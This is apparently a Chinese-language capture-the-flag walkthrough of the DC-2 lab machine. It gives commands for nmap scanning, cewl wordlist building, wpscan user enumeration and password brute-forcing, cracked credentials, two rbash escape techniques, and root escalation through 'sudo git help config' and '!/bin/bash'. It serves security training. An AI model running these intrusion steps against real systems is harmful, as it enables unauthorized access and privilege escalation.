信息收集

探测目标主机的ip地址

nmap -Pn 192.168.207.0/24

扫描靶机开放的端口、服务和版本

nmap -sS -sC -sV 192.168.207.210

访问 192.168.207.210 显示无法访问，说明 DNS 无法解析该域名，

在 HOSTS 文件中添加 192.168.207.210 dc-2即可访问。

windows HOSTS 文件位置：C:\Windows\System32\drivers\etc\hosts

Linux HOSTS 文件位置：/etc/hosts

flag1

点击 flag，获取 flag 1，根据提示使用 cewl 去编写密码字典。

使用 cewl 编写密码字典

cewl http://dc-2/ -w dc-2-passwd.txt

使用 wpscan 扫描用户名

wpscan --url http://dc-2/ -e u

创建一个dc-2-user.txt文件，内容为admin、jerry、tom

使用 wpscan 对目标进行用户名密码猜解

jerry:adipiscing

tom:parturient

wpscan --url http://dc-2/ -U dc-2-user.txt -P dc-2-passwd.txt

flag2

使用jerry:adipiscing账户登录 http://dc-2/wp-admin

使用 jerry:adipiscing账户登录 web 获取到 flag2，这次使用 tom:parturient账户密码进行 ssh 登录，发现 tom 用户使用的是被限制的 rbash，这时候就需要进行 rbash 逃逸了。

rbash 逃逸 （flag3）

• 方法一

# vim/vi 进入之后
:set shell=/bin/sh  # 或者使用 /bin/shell
:shell

# 切换完成之后还要添加环境变量。给 $PATH 变量增加两个路径，用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

• 方法二

BASH_CMDS[a]=/bin/sh;a   # 把 /bin/bash 的值赋给 a
/bin/bash   # 执行完上一个命令后立刻输入
export PATH=$PATH:/bin/   # 把 /bin 作为 PATH 环境变量导出
export PATH=$PATH:/usr/bin/   # 将 /usr/bin 作为环境变量导出

flag4

根据 flag3.txt 的提示，切换到 jerry 用户，获取 /home/jerry/flag4.txt

git 提权 （final flag）

根据 flag4 提示，使用 git 进行提权，tom 用户不在 /etc/sudoers 名单里面，切换到 jerry 用户，执行下面命令进行提权

sudo git help config
!/bin/bash